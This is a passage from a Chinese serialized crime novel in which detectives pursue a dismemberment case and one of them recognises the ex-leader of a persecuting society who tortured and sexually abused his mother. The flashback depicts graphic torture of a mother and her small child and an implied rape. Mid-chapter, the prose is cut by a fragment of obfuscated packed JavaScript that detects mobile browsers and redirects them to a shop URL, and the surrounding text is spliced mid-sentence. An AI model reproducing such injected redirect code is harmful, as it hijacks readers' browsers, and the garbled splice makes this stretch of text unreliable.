公冶和祁宴通完电话,面向众人:“死者腕部内侧的刺青不是箭头,而是三叉戟,凡是加入抵美协会的人,都会在手腕纹一个玫瑰三叉戟的刺青。” 蒋淮撑着桌面:“三叉戟……是很像,那三个箭头是顶端的部分。” 贺开宇顺着他的思路:“梁大谷抛尸时,开了宝弘旗盗来的车,他们会不会认识?” “你的意思是梁大谷也是抵美协会成员?” 蒋淮吩咐:“阿鹭,立刻去检查梁大谷手腕,是否留有三叉戟刺青或者清洗刺青的疤痕。” “是!” 梁大谷的嘴是铁打的,不过身上烙了什么鬼画符可藏不了多久,他够狠,怕被扒出地下身份,一整天都在用指甲挠刺青,把自己的手腕挠得血肉模糊,成了一块烂肉。 “老早就知道他偷了辆车,装有钱人骗小姑娘上床,当然也就骗骗蠢的,一辆摩托车能让几个女的心动……” “问你和宝弘旗什么关系,他偷的车为何在你这,别转移话题!” 梁大谷轻刮着警察给他清理包扎过的手腕,眼白浑浊,不为所动。 庄鹭从容一笑:“抵美协会让你杀的人?” 闻言,梁大谷眼中像有血丝裂开了,向前挣动:“不……我……他、他宝弘旗就是个无赖,以为给祁宴的狗过个生日就巴上高枝了?我早就恨死他了,杀了他又怎样,但这是我和宝弘旗的私人恩怨,和抵美协会没关系!”他哆嗦着起皮出血的嘴唇,“我认了!人是我杀的,宝弘旗裴远航统统是我杀的,你们把我关进去吧!但我不是抵美协会成员,我退会了!早就退了!!” “警察同志,要杀要剐,就让我一个人承担,不要累及无辜啊!抵美协会为社会做了多少贡献,不要因为我这颗老鼠屎就对他们怀有偏见,抵美协会是国家的羽翼!是古洛共和国的希望!你们不可以做伤天害理的事……” 庄鹭厉声喝道:“梁大谷,这里是公安局,不是你口中污七八糟的邪|教,再敢危言耸听我必定会把抵美协会一查到底!” 梁大谷瞪着铜铃大的眼,打了个寒颤。 “邪、邪|教……?什么邪|教,你说什么!你个下三烂的婊子你说什么?!你再敢骂一句!我烧了你们公安局!” 另一名男刑警愤怒站起:“梁大谷我警告你!注意你的言行态度!” 监听室一派肃静,蒋淮等人冷静地看他发疯,正准备给里边指示,身后低声传来一句:“骗子。” 蒋淮听到了,不疾不徐转身瞥去,公冶已经关上门走了。 暮火应了蒋淮淡淡的眼神,退出监听室,去追人。公冶走得很快,像是受够了冗长的等待扬长而去,暮火沉默地跟了跟,说:“会用他来结案吗?” “不知道。” “你去哪?” “回去洗澡睡觉。” “大家都在,蒋队也在,你这时候走不太好吧?” 公冶一步立定,片刻说:“去找点吃的。” 暮火无可奈何地扶额:“熊队和朗院长是太宠你了,把你惯得随心所欲,蒋队骂你你是一个字……影青?你脸色好差,不舒服吗?” “……饿的,”公冶极力忍耐着心脏的阵痛,说,“先走了。” 路过办公室,里面没几个人,贺开宇和同事小梁争论不休,啪一声把一张大头照拍到白板上,对小梁霸道宣言:“我不要你觉得,我要我觉得。” 小梁心累地嗦着泡面,一眼发现路过的公冶:“影青!来评评理!所有证据都指向抵美协会,开宇非要揪着无关紧要的人不放。” 公冶往里迈去。 贺开宇气鼓鼓说:“这个人有必要再做调查。” “理由?” 贺开宇理直气壮:“我始终觉得他的证词有漏洞……暮火哥你快帮帮我,我下午和你说过这个人,你记得吗,他们都不信我。” 暮火叹气:“凭直觉办案,都懒得说你了。” 那张大头照用磁铁吸在没擦干净的白板上,下面用记号笔写了字。公冶瞥向照片上的人,面容顿时一凛。 74. 钥匙 “影青……” “影青?” 时间一点一滴浮出了声音,漫长地绷直了。公冶走到白板前,近距离直勾勾盯视着照片。 贺开宇和暮火面面相觑,都在用眼神问:他咋啦? 照片里的男子即便以正面示人,也能察觉出他驼着背。他年纪大了,眼角皱纹如壑,面色无华,稀疏的寸头掺了白。 公冶仔细观察此人的五官,贺开宇上前说:“你还没见过吧,他就是那个被吓晕住院的老人,叫古慷。怎么了,你认识?” “他都六十九岁了,”暮火摸着下巴琢磨,“而且老人家患有糖尿病,机体容易出现乏力症状,要碎尸也得找个得力的帮手吧。” “也就说犯罪嫌疑人不止一个?你们一定要玩这么大吗?”小梁撕开麻辣豆腐干的包装袋,有点食不下咽,“光靠猜想有什么用,你又不是哥德巴赫,一切要从实际情况出发……” 贺开宇打断:“实际就是他的不在场证明虽然合理但不成立,我盘查过,三月二号晚上古慷没有像往常一样出现在小区健身公园或附近广场散步,他说一直待在家里陪爱人,扯到细节就不记得,一个平常饭后会定点出门散步的人偏偏二号那晚改变了计划,他就算没骗我,也隐瞒了什么。” 啪! 一整盒黄焖鸡打翻了,泼得满桌都是肉块汤汁,浸透的青椒掉在了年轻刑警的大腿上,他万念俱灰地去捶打制造该起事件的元凶。 “对不起对不起!”同事挨打之际不忘往他伤口撒盐,“哎,十三块钱买来的晚饭,你就吃到了一块钱的饭。” “你——” “好啦你俩别光顾着打架,快点擦干净,汤汁都溅庄姐桌上了。” “要死,庄姐可是出了名的洁癖狂魔!” 身后吵吵嚷嚷闹成一片,公冶毫无声息,仿佛与他们隔着一个世界。 二十多年了,样子变化那么大,老态龙钟,暮气沉沉,可仅凭第一眼他依然认出了他—— “顶级美食家就这点能耐?只会找你死去的男人求救吗,嗯?” 偏僻的废弃工厂无人踏足,母亲宛如残破的绸缎落了地,执刀持棍的男男女女包围着他们,投下审视的目光,古慷站得最近,他是众人的领袖。 “静思……静思救我……” 那是妈妈在求救……公冶几乎要呜咽出声,捂住了自己的耳朵。 他不想听,不想听。 古慷盯着手背血淋淋的抓痕,这个女人制造在他身上的抓痕,放到嘴边吸吮了一口:“知道吗,凭这点伤,我就可以告死你,但我不会把你送进监狱,如今这座社会就足够教育你了。” 粗厚的手掌往清绝脸上拍了两下,清绝哭得露出了獠牙,被踩得青一块紫一块的手哆哆嗦嗦抬起,扯住古慷的裤腿。 “我是下意识……我不是故意的,拜托你,放了我儿子……” 古慷狞出一抹笑:“牙都出来了,你不咬我吗?” 清绝苍白的嘴唇咬出了血,双眸泪光破碎,垂下了头。 “哎,这就对了……” 他满意地笑起来,一脚踩住顶级掠食者的头颅,示意另外两名女性成员继续拔她长长的指甲。她不吭声,也不像发疯的野猫会奋起反抗,最后一片莹白的指甲带着血剥落,清绝痛得眼窝发青,吃力地望向儿子。 “记住,在这个国家,你们充其量只是长了副人样,无脑的猪猡就该回到猪圈里哼哼,一头猪还想要平等?你们吃我们的时候,有想过平等吗?” “美食家是吧?吃人是吧?今天就在这,你们母子俩的牙也要被我一根一根铰下来。” 戴着紫色袖箍的抵美协会成员高呼施暴的口号,玫瑰三叉戟攀爬在突暴的青筋之上,他们撬开公冶的嘴巴,把钳子探了进去,拧动他的小獠牙,公冶感受到一股铁锈的冰凉腥咸。 “我没有吃人,我没有伤害任何人啊!你不要伤害我儿子——”清绝跪着向前挪动一步,“不要伤害他……” “怕什么,拔了还能再长,让我多拔几颗呗?” “不要……不要……” 古慷用沾血的棍子挑起她白皙清瘦的下巴,眼睛里射出油油的光。 “你看看,让你脱个衣服,非要我动你儿子,你才肯是吧?” “嫌我脏?你一个寡妇还挑上了?他公冶静思能干净到哪里去?” “我今晚就要收拾你,你们抓住她。” 四岁的公冶被两个成年人摁着,他听不懂古慷在说什么,只觉得可怕,他听到了母亲身上的单衣被撕碎的声响,他哭吼着,蹬着腿:“妈妈!!” 谁来救救我们? 正义在哪?法律在哪? 我们的出路在哪? “渡莲,把眼睛蒙起来!” “莲——不要看!” 为什么不反击? 反击啊,我求求你反击! 我们的国家要杀我们! 公冶慢慢抬起手,将白板上的照片取了下来,指尖控制不住地颤抖。 古慷两颊的肉在晃荡,不知是动作太大抑或激动造成,落在公冶眼中全是扑簌簌的灰暗,天崩地裂的灰暗。 内勤女警对着电脑飞快打字,贺开宇安慰着没饭吃的同事,暮火点开外卖软件打算给他们叫顿好的,小梁搂着他的腰大叫“爸爸”,惹得周围哄笑不已。 大家都在忙碌,留公冶一人在光线昏暗的角落站了很久很久。 …… 居然是他。 居然是你。 …… 过往的仇恨化作怒海翻涌而上,直击心魂。他似乎万分痛苦,微微弯腰,按住了额头。 既当爹又当妈的暮火给嗷嗷待哺的孩儿们点完大餐,叫好奶茶,回头找公冶,见他刚把照片贴回白板上。 “影青,你也……” “我有份材料没写,先回隔壁。” 暮火一愣:“你不饿吗,不留下来吃点?” “不吃了。” “噢……行,那你去吧。” 公冶走出办公室,顺带把门关上。他在走廊上平复了一阵,迈步离开。 晚上十点半回到家,空旷的客厅一片冷清,他在玄关处换鞋,都懒得把鞋子放进鞋柜里,直接往边上一踢。 没踢动,抵住了什么,公冶开灯往下一瞅,挂着招财猫的钥匙串掉在鞋柜下的悬空区,如果没记错的话这是邓烟雨老家的钥匙。 这都几月了,他才想起来,而她压根没提起,估计也忘得一干二净。公冶给邓烟雨发去了消息:【你家钥匙还在我这】 一分钟后,手机叮咚叮咚连响好几声,他拿来一看—— 【啊啊啊我都不记得这事了】 【是放在玄关柜那里吗】 【你上次怎么不帮我带来[生气.jpg]】 公冶正站在岛台前倒水,读完消息无奈地一笑。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16579327|187255||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >【我也忘记了,抱歉】 【能不能帮我寄来呀?】 【贵重物品寄送不安全】 【钥匙也算贵重物品?】 【不算吗】 【好吧,那你给我送来】 【我给极乐,你找她拿】 【你给我送来!】 【行行行】 公冶一边打字一边走进书房,手机搁在厚厚垒起的书山上,转头找起了想看的书,语音铃声突然响了,他瞥了眼,邓烟雨的名字在屏幕上跳跃。 他犹豫片刻还是接通了,不等开口,那头先紧张地唤道:“公冶警官,我房门刚刚被人敲了好几下。” 公冶翻书的手一停:“陌生人?还是管家?” “我没叫管家,管家九点下班了。” “也许是派出所上门进行流动人口检查,如果害怕别开门就好。” “派出所上门检查……不可能这么晚吧?” 公冶最近忙得都没时间概念,呆了一下,说:“也是。” 邓烟雨躲在被窝里:“我觉得应该是陌生人,而且也不像喝醉了,敲门有频率,笃笃笃、笃笃笃这样敲,中间还停顿一会,像是等我去开门一样……” 这阵诡异的敲门声让邓烟雨想起了当初困在教堂楼道里,被怪物找上门的恐怖感。 公冶不好判断,寻常说道:“可能是找错门了,不再敲就别管了,明天找管家看下监控吧。” 其实她的描述很叫人担心,她要是吓哭了,他会恨不得亲自过去看看。 “哦,”邓烟雨觉得他也太云淡风轻了,缓缓躺下翻了个身,“你……你能和我连着线吗,我有点害怕。” “好,我不会挂断的。”公冶挑了一本以前读过的外国名著,回到客厅打开电视机,按大了音量。 “你在看球赛吗?” “嗯,”公冶说,“听着电视机的声音会不会好点?” “好点了。” “那你听着,我离开一会儿。” “你别走!” “就十分钟。” “你去干嘛?” “洗澡。” “……”邓烟雨脸莫名其妙红了,“你洗澡只要十分钟啊?” “再慢也办不到了。” “我球赛不要听了。” “我换频道。” “不是,你带着手机嘛,你洗你的澡,我听着声音就行。” “这是什么冷门的趣味。” “大色狼,我又不是要听你洗澡,我要听水流声,那个声音能催眠,比球赛舒服多了。” “挑三拣四。” “你再说!” 公冶把手机放在洗漱台,背过身脱起了衣服。自从拒绝她以后,公冶发现他们的关系越发没边界了,这不应该。 花洒喷下温度适中的水流,唰唰溅着瓷砖壁,叶穿林的话在脑内萦绕,像兜头的凉水浇醒了他。公冶一把将湿发抚上去,雾气蒸腾了整面玻璃。 洗完,他疲惫的思绪已经回到案子上,刷牙时都有些神思游离,差点忘记拿洗漱台的手机。 “小雨。” “……” 那头没回应,他把手机贴到耳畔,敏锐的听觉让他捕捉到了另一端传来的轻缓呼吸声,她像只小猫睡着了,隔着手机似乎都能感觉到她呼吸里的温热。 “水流声真能催眠啊。” 公冶喃喃自语着,挂断了通话。 75. 毒株 次日大早,支队迎来了一个不好的消息,案发当晚八点,古慷曾出现在楼下药店的监控里。他年纪大了记性不好,连自己出门买药的事都毫无印象。 路法医陪同侦查员去了宝弘旗的出租屋。这屋子乱归乱,足迹杂,却不像住过人,干涸的黑色血迹一路蜿蜒滴落,通向惨不忍睹的里屋。侦查员在墙壁开关上刷出一枚残留的指纹,包括门口的墙体留有擦拭状血痕,很像扛人的时候不小心晃了下蹭出来的。 警方用梁大谷的指纹样本和开关上的指纹比对,二者吻合。 “宝弘旗被妻子赶出家门,梁大谷好心给他找了个临时住所,哪想对方不仅不领情还嫌寒酸出言讥讽,于是一怒之下用锥子刺死了他,事后将尸体转移到废酒厂丢弃,这些均与梁大谷的供述相符。” “凶器呢?” “他说藏在家里,已经派人去找。” “可即使证实了梁大谷是废酒厂案的凶手,也不能由此及彼,把裴远航的案子扯到梁大谷身上吧?” “梁大谷亲口承认自己杀了他们,这还不能并案处理?” “他一个被洗脑的极端分子,他说什么我们就信什么吗?梁大谷是因为对宝弘旗积怨已深导致激情杀人,那裴远航呢,梁大谷从一开始就不认识裴远航,他杀人动机是什么?在我看来并案条件根本不足。” “抵美协会对WPO还需要什么杀人动机,WPO本身的存在就能激发抵美协会犯罪的欲望了。” 小梁作为累死累活的打工人,十分同情裴远航在“请假就犯法”的银行辛辛苦苦批出三天小长假,结果还没来得及享受呢,就被人杀了切块。他愤慨地脱口而出,引来队长冷厉的一眼,只好咬了根辣条低头闭嘴。 大家讨论后不欢而散,蒋淮忙得没空喝水,正要去上楼找赵局,公冶在转角口追上了他:“蒋队。” 蒋淮略微侧身投落视线,公冶迎着抬头:“关于古慷,我有话要说。” “你说。” “古慷也许认识梁大谷,他是抵美协会前任会长,我认为开宇的推断并非完全……” “和开宇待了两天,他的侦探毛病传染给你了?” 被蒋淮冷酷无情地打断,公冶有些许茫然。 蒋淮口吻轻淡:“不要带着私人情绪工作,听懂了吗?” “我没有带私人情绪,我是在实话实说。” “是吗,”蒋淮转过身,朝他迈近一步,“我怎么看,你是希望我们现在就出警把古慷逮捕归案,把他这辈子干过的坏事一件一件细数清楚,最好明天就拉他上刑场枪毙,是这样吗?” 公冶并不退让,轻轻地问:“难道不应该吗。” “影青,你个人色彩太重了,”蒋淮说道,“听好,你要还想继续接触这个案子,就绝对服从我和庄鹭的安排,不许借用公美一职的权利节外生枝。” “我——” “我知道你以前遭遇过非人的待遇!”蒋淮提高了音量,“但你必须做到就事论事,尤其是面对重案,你要知道,一旦制裁古慷,相当于是要制裁二十年前参与过抵美运动的所有人,这不是投入多大警力的问题了,你自己的人身安全也将不再得到保障。” “如果古慷就是凶手呢?” “那我一定会把古慷绳之以法,在此之前,切记不可轻举妄动,听明白了没有?” “……” 蒋淮不忍去看他的眼睛,深呼吸:“那场运动对社会影响有多大,甚至逼得政府都得为这群人让步,抵美运动不是靠今天一桩碎尸案就能平反的,至少现在不能,请你谅解。” 公冶默默垂下了头:“我明白。” 蒋淮不再多言,拔腿离开。公冶在原地静立了一阵,原路返回去坐电梯。暮火翻着份文件等在那,见了他,说:“回隔壁?” “嗯。” “你最近往朗院长那儿跑得挺勤。” “小可身体不太好。” 暮火露出担忧的神色:“你自己也要保重。” 公冶努力笑道:“我还好,别担心。” 暮火点点头:“对了,九保分所调来一名公美,是个问题儿童,昨天归到你组里了,你好好调教。” “跨省调配?” “对啊,听着就头疼。” “这人怎么回事?” “代号毒株,”暮火说,“就个人而言能力非常出色,不过喜欢单干,具有较强的社会支配倾向,无法顺利融入集体,无法和谐开展团队合作,九保养不熟他,更不敢把他随意放生,打算转来总部接受一下管教。” “好难缠的角色……我自己一堆破事没解决,你丢给我干嘛?” “上次是我,这次该轮到你了,而且你和他多搭啊,”暮火笑眯眯说,“谁还不是个问题儿童了。” “……” 他们走上联络桥,公冶手机震响,他看了眼号码,说:“我接个电话,你先去吧。” 待暮火走远,他划起绿色的接听键:“说。” 对面响起熟悉柔滑的声音:“东行案你别管。” “原因。” “我是来告知你的,没有原因。” 公冶笑了:“行,你说什么我遵从就是了,但有个问题困扰我很久了,正好你打来电话,我顺带问一问你,可以吗,叶穿林。” 叶穿林也笑了,按下免提:“当然没问题,渡莲,你问吧。” “你知道古慷吗,前抵美协会会长。” “嗯,知道。” “当年,古慷对我母亲轮番施暴长达两年之久,我印象中他强迫我母亲委身于他至少有三次,2110年1月古慷突然消失,不再骚扰我们,之后我们便去了独玉市。” 叶穿林盯着挡风玻璃前的车流,轻微吞咽,并不说话,公冶继续道:“这些乍看没联系,但两年内我们多次搬家躲避抵美协会,古慷却像鬣狗一样精准地找上门来,不分时间场合持续凌虐我们,公安管不了,我母亲当时只接受过一个人的帮助,就是张烬。” “若非被古慷逼到走投无路,我母亲不会仓促地带我逃往独玉,她以为张烬是个诚心实意的好人,把我放在他那是万全之策,可结果呢?” “筹谋布局了两年之久,将我母亲摧残得身心俱疲,这位最终的受益人到底是谁?” 一个温柔的声音再次响彻脑海——“莲,你的眼睛真好看……” “猪猡就该滚回猪圈里哼哼。” “救我……静思救我!” “把眼睛蒙起来——” 回忆里都是些体无完肤的东西,每一声叫喊都让二十年前沦陷于火海的首都更为清晰,那是古洛最魔幻也是最光辉的时刻。公冶一度后悔自己作为受害者幸存下来,因为他在无形之中学会了如何成为一个宽宏高尚的人,只有这样他才会被世态包容,才能通过岁月的消磨淡化仇恨,最终随波逐流地选择接受现实、原谅他们—— “影青同志,我们收到了您的诉求,针对该事件,我们想说,抵美运动是一项国家认可的有效合法的对‘非正常美食家’进行全面肃清的全民性运动,旨在优化社会环境,不存在涉暴涉恐等不正当行为,抵美协会会长为社会安定做出巨大贡献,没有确凿证据,我们无权对其发出传唤或批捕,望您知悉。” “您说您的家人曾被抵美协会会长长期侵害,那请问您的家人现在在哪,为何她自己不站出来作证呢?” “才调来歌华几天就拿着鸡毛当令箭,这都多少年前的事了,过去的就让它过去吧,运动发生后,歌华市乱成了一锅粥,大家或多或少都有难处,难道只有你最可怜吗?” “你觉得呢,影青同志?” …… 手机贴着耳廓,传来温度,公冶指关节攥得发白:“叶穿林,我问你,古慷和顾令萍,是不是认识?” “我母亲被施暴整整两年,里面是否有顾令萍的参与?” “……” “你只需回答我是,或不是。” “渡莲啊……”叶穿林靠着椅背,困苦地闭眼,“你想太多了。” “是么,是我想太多了?” 对面没声响,公冶释怀了一般说:“你果然什么都知道。” “你需要冷静,”叶穿林咬字渐沉,缓慢地道来,“你最近压力太大了,整个人情绪偏激,你需要很长时间冷静……相信我,妈妈不会做这种事。” 公冶无声地冷笑:“裴远航的案子,我不会放弃。” “你答应过我什么?你还要抑制剂吗?” “不要了。” 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“不必动她,我已经把消息放给了‘江盛’,”顾令萍轻笑,“这孩子也是可怜,以为自己生活在一个幸福美满的家庭,实则早就被她父亲抛弃了。” 车内没有一丝杂音,空气在谨慎地流动。 顾令萍睁开双眼,神色温婉:“阿爸老了,不管在外头还是里面他都活不了几年。” “您要放弃古老师?”叶穿林犹豫,“他是您的义父。” “谁都不能和渡莲相比!!” 叶穿林在她斩钉截铁的怒吼中吓得愣住。 “穿林,你听到了吗,他又一次喊我‘妈妈’了。” “他喊我‘妈妈’的次数不多,但他愿意这样喊我了……” “他愿意了!” 顾令萍眼中闪着欣喜若狂的光,那是发自真心的高兴。叶穿林脊背寒凉,勉强扯了扯嘴角:“是啊,妈妈,您如愿以偿了。” “不必再干涉歌华公安的侦查,但是穿林,还有件事,你帮我去办,”顾令萍笑得像年轻了十岁,“去给我亲爱的好孩子献上一份厚礼。” 这通电话让公冶心情很混乱,他感觉自己快被折磨得神经敏感了。 全透明的联络桥有种摇摇欲坠之感,公冶迈步之际,猛然被人一拉,回头见是贺开宇,他惊讶道:“怎么了?” “我还是觉得不对劲。” “哪不对劲?” “我举个例子,”贺开宇带他来到建筑内,才往下说,“假如你是银行工作人员,一个存款十万的老客户和一个存款千万的老客户,你对待前者的态度会和后者一样吗?” “十万和千万?”公冶倚着墙,随口一说,“那我还管什么十万,伺候好千万的就行了。” 贺开宇和他一拍即合:“对嘛!我也这么觉得!” 公冶神色微变:“你的意思……古慷是前者?” 贺开宇重重点头:“我了解到他在东行的存款连十万都不到,最基本的星级客户的门槛都没跨过,裴远航又是把情绪写在脸上的人,他对着青春可爱的女大学生都摆臭脸,会耐心接待一个一身老人味、办点业务磨磨蹭蹭、时不时还要把银行卡密码忘记、气急败坏之下就给你个投诉尝尝的老犟种吗?” “你好会形容。” “好会形容?形容谁?” “没什么,神探你继续。” “他因为裴经理的死感到难过,在我面前流泪,称赞裴经理温和有礼,与人为善,种种表现与新桥支行员工给我的证词没有一条能对上,在我看来古慷就是受到了理财经理的区别对待,心怀不满,于是趁其休假期间……” “开宇,”公冶伸手制止,“蒋队刚刚还说了我,让我就事论事。” “我就是在就事论事,古慷出院回家了,我要上门一趟,”贺开宇神情严肃,他这次没开玩笑,是认真的,“剩余的人体组织一直没找到,说不定就在他家。” 他转身,大步流星地走了,公冶望着他越来越远的背影,古慷阴暗的面容冷不丁闪到眼前。 公冶心中极其慌乱,叫住了他:“等一下!” 贺开宇回头。 下午本来要去找邓烟雨还钥匙,可贺开宇这实在让人放心不下,公冶权衡再三决定:“我和你一起去。” 76. 陷阱 中午十二点,新座步行街,人山人海。 邓烟雨跟随大部队来到宽阔的十字路口等红灯,遥遥望见对面马路边停着一辆“黑武士”防暴装甲车。 三小时前公冶发来消息,说下午临时有事无法赴约,钥匙让极乐代为转交。极乐这会儿在新座执勤,邓烟雨正好想去超市购物,顺道来了。 “但是新座那么多人,到时候我怎么找你?” “来步行街,看到卡丁车就过来,我认得出你。” “卡丁车?” 有人在等红灯期间咔嚓咔嚓对着装甲车拍照,邓烟雨确定就是它了,毕竟周围没有比它再吸睛的东西。 绿灯亮起,人群在口哨声中像东非动物大迁徙开始向对岸奔涌。邓烟雨走近后发现这车轮胎巨大,附近站着一帮荷枪实弹的特警,各个都是男模身段,双手抓在战术腰带上,有一搭没一搭地聊着天。 “塑料的?” “嗯,塑料的。” 不知他们在聊什么。邓烟雨无心细听,睁大眼睛找着人,特警们有所察觉,集体行注目礼一般齐齐看过来,墨镜下表情板正,进入了另一种状态。 她像选美来了,把每个男人从头到脚过了一遍,脸上浮现出几分迷茫,极乐不在这。她为掩饰尴尬,东张西望了几下,使得举止更加诡异了,一名特警刚要开口,抬起下巴往她后方看,表情松动了。 “哟。” 有人跟她打招呼,是熟悉的腔调,邓烟雨欣喜地转身:“友——” “……知姐?” 极乐懒洋洋叉着腰,高挑的个子为邓烟雨挡住了正午最强烈的光线。她两只手都戴着黑色半指手套,止咬器罩了半张脸,只露出妖娆的绿眼,一身装备行头与特警无异,但回头率更高,因为身材太辣了。 邓烟雨快认不出她:“你怎么戴着止咬器?” “你说这?”极乐敲了敲自己的面具,朝她一笑,“这地方人多,公美对外要保持神秘感,戴上它,我们就是这条街最靓的仔了。” “……”邓烟雨呆呆的,半天道,“啊,噢噢……有、有点道理。” “小雨你这反应……笑死我了……我骗你的啦,止咬器封脸是硬性规定,公美巡逻时不管在哪都会戴的,”极乐从口袋里摸出钥匙,“来,你的性命家当。” “谢谢。” “要在新座玩吗?” “准备去超市买东西。”邓烟雨把钥匙收起来,注意力转向极乐身旁一名全副武装的公美,他和公冶差不多高,鼻梁上也架着墨镜。 “我们组新来的,才十九岁,代号毒株。” “毒蜘?蜘蛛的蛛?” “NONO,”极乐摇摇手指,“是病毒的那个‘株’,抱歉我没文化,想不出其他词。” 邓烟雨在心下默念两遍,大眼睛忽闪忽闪地崇拜道:“这个代号好帅啊,是我听过最帅的,比公冶警官的还帅。” 极乐吸了口气:“这话要被组长听到那还得了。” 毒株和爱耍帅的男人们一样,习惯使然扶着腰带。听到下方发出一声丝毫不加遮掩的赞美,他终于给了点动静,面无表情的脸一偏,似在看她。 “好意外啊,你居然觉得组长的代号帅,听过的人都说‘影青’取得有些诗情画意,不像男孩子用的。” “男孩子为何不能诗情画意?我觉得影青最好听了,又古典又温柔,还有文化起源,但毒株最帅。”邓烟雨坚定地说道。 “好好好,总之影青没有毒株帅,我记住了,”极乐拍了拍当事株,“我让他认我做干姐姐,他还不干。” “可以认我做干姐姐,我来罩着你。”邓烟雨和特发科处熟了,即便毒株新来的,她也不认生,大大咧咧跟他开了个玩笑。 极乐好奇:“你要怎么罩啊?” 邓烟雨拍胸脯保证:“以后去任意一家奢侈品店,只要报我名字,就能享受全场原价。” “……” 毒株稍微一歪脑袋,可能在思考。极乐爱莫能助:“他应该没听懂,你别管他,他小脑没发育。” 邓烟雨遗憾地哦了声,挥挥手:“那我走啦。” “好,出来了跟我说,时间差不多我送你回家。” “哈哈哈,”邓烟雨笑了,“你好像霸道总裁。” “我怎么着也是得宠你的。”极乐揉了揉她的脑袋。 等女孩彻底走出视野,毒株淡声问:“极乐,她是谁?” “嗯?”极乐说,“我妹妹。” “也是认的?” “对。” “全歌华都是你亲戚吧。” “也可以这么说,”极乐大言不惭,伸了个懒腰,“干嘛,有想法?” 毒株点头,抬手往自己腰间一比:“超小只,可爱到犯规。” 极乐笑不出来了:“你来真的?” 今天天气不错,阳光虽大,但不刺眼。毒株略微仰头,摘下墨镜,翠绿的眼冷光毕现。 他勾唇一笑,走了。 极乐跟不上年轻人的节奏:“不是,毒株,毒老弟儿,阿毒宝宝!”虽然只与他相处了一天,但极乐已经摸透他是个什么狠角了,“这孩子不行,绝对不行。” “高中生?” “哪呢,都大三了。” 他伸懒腰:“看不出来啊,比我大。” “对呀,大你三岁了。” “那就抱金砖了。” “哇靠你一个潮流酷boy信这么传统?不行不行,她虚岁都二十五了,四舍五入就三十岁了,大你一轮了你俩能玩得到一起?” “要你这个算法,我也可以约等于三十岁。” “毒小株!前辈我要生气了!” “怎么前辈,她是你的?” 极乐直接愣住:“不是啊……但……她是……” “不用说了,”毒株完全不顾及极乐的感受,活动着肩臂肌肉,眼底折射出太阳的金光,“我想要的从来没有失手过。” “阿嚏——” 贺开宇一脚踩下刹车,转头看公冶:“感冒了?” “没有,风吹得头疼。”公冶揉了揉鼻子,关上窗。前面的车动了,贺开宇随着车流往前挪:“所以,他真是抵美协会前任会长?你确定?” “我对他太熟了。” 贺开宇颔首:“那就说得通了,鉴于裴的身份性质,古慷有充分的动机杀人。” 公冶不安地轻眨眼睛,合上笔记:“其实我到现在都有疑惑。” “什么?” “他已经离开抵美协会,为何还要对组织内的人下手。” 贺开宇转动方向盘,不假思索道:“江山易改本性难移,就像我,戒烟喊了多少年,虽然也有付诸行动,但熬不住了就自暴自弃,吸得比之前还狠。” “杀人也会上瘾吗?” 车内霎时陷入死寂,贺开宇仔细想了一想,背上凉了。 “我要和你说个事,”贺开宇面露忧色,“在大方向上,公检法肯定会无条件袒护抵美协会,裴远航是普通人便罢了,他偏偏拥有敌对的身份,后续就算把嫌犯移送法办,针对被害人的‘有色身份’,案子也不会严判,抵美协会四个字等同免死金牌,这是人民一致痛恨的不合法,却是国法上绝对默认的合法。” “个别律师会咬住这一点为凶手争取最大利益,只要说出来,再正义的法官也要被迫偏袒他们。” 公冶把笔记本塞储物箱里:“真是令人绝望的消息。” “往期的案件里,抵美协会故意杀人,三年就放出来了,他们坐牢跟度假似的超级无所谓。早前有个未成年奸杀幼女的案子,凶手是老成员了,小畜生牢都没坐,少管所出来就继续跟踪骚扰被害人家属,被害人家属上县局报案,警方磨磨蹭蹭查了十天半月结果就来了一句碍于现实因素不予立案。” 公冶没想到贺开宇表面没个正形,私底下会对抵美协会关注到这个份上,该案估计是发生在偏远的乡镇,连公冶自己都没太多印象。 “影青,逮捕东行案凶手只是个开始,之后的每一步才让人焦心劳思啊。” “我知道结果会寒心,”公冶说,“可我不得不努力,我不想随波逐流。” “我也不想,”贺开宇开过头了,换到左侧车道调头,“从前时代封建,男尊女卑,皇帝就是天,要谁死谁就死,如今在这个人人平等的社会,杀了人也不用非死不可,只要有理有据,谁能活谁就活。我从不希望我们生存的时代有绝对的自由平等,这不见得是件好事,所以相对的,坏人也不一定要下地狱,有些时候,譬如二十年前,人间已经形同地狱了。” 公冶有一瞬的失神。 “杀人偿命,欠债还钱,这是古人伸张的道理,但时代的发展与进步,反而需要把这些最朴素的理念抛弃,因为已经不适应了。我不觉得这有错,我只是害怕自己哪天也会为了一己私欲,对不公正妥协。” 闪烁的红灯变绿了,公冶如鲠在喉,想安慰几句,最终发现自己做不到。比起贺开宇,他更是深陷在漩涡中心的众矢之的,等到如雨的棍棒挥下来,他就只能受着。他有置人于死地的可怕爪牙,他都不配为自己喊一声“救命”。 嘉怡花苑是个老小区,物业换了一批又一批,管理一年不如一年,门口的道闸杆坏了半月没人来修。岗亭里值班的保安睡醒了,打着哈欠推门出来在口子上溜达,李阿姨拉着买菜车路过,找他抱怨家里的一地鸡毛。 “古老师的书法班不办了吗,我看好些小孩都跑外头的机构去了。” 李阿姨一脸性命交关地摆手:“哎哟别提了,他屋里头那个样子,哪有精力再管学生啊,前几天那个——那个银行的案子,你记得哇?古老师好巧不巧就在现场呀!被吓到直接住院挂了两天水,造孽噢……人啊?人没事没事,今天上午出的院,这不我看不下去嘛,这两天上他家帮忙去了,他家小孩也是,工作哪有那么忙的,都不回来……” 公冶和贺开宇经过时,耳边刮来了几句闲言碎语——古慷的妻子陈诲文患有重度阿尔茨海默病,生活不能自理,这些年古慷的儿子儿媳偶尔会来看看,帮忙照料陈诲文。 小区不大,他们很快找到五栋。贺开宇敲响302的防盗门,没过多久,内侧入户门打开,隔着防盗门的铁杆,古慷瞥了眼外边的两名警察,再拉开防盗门的插销。 都是年轻小伙,有一个之前在医院见过,至于后面那个…… 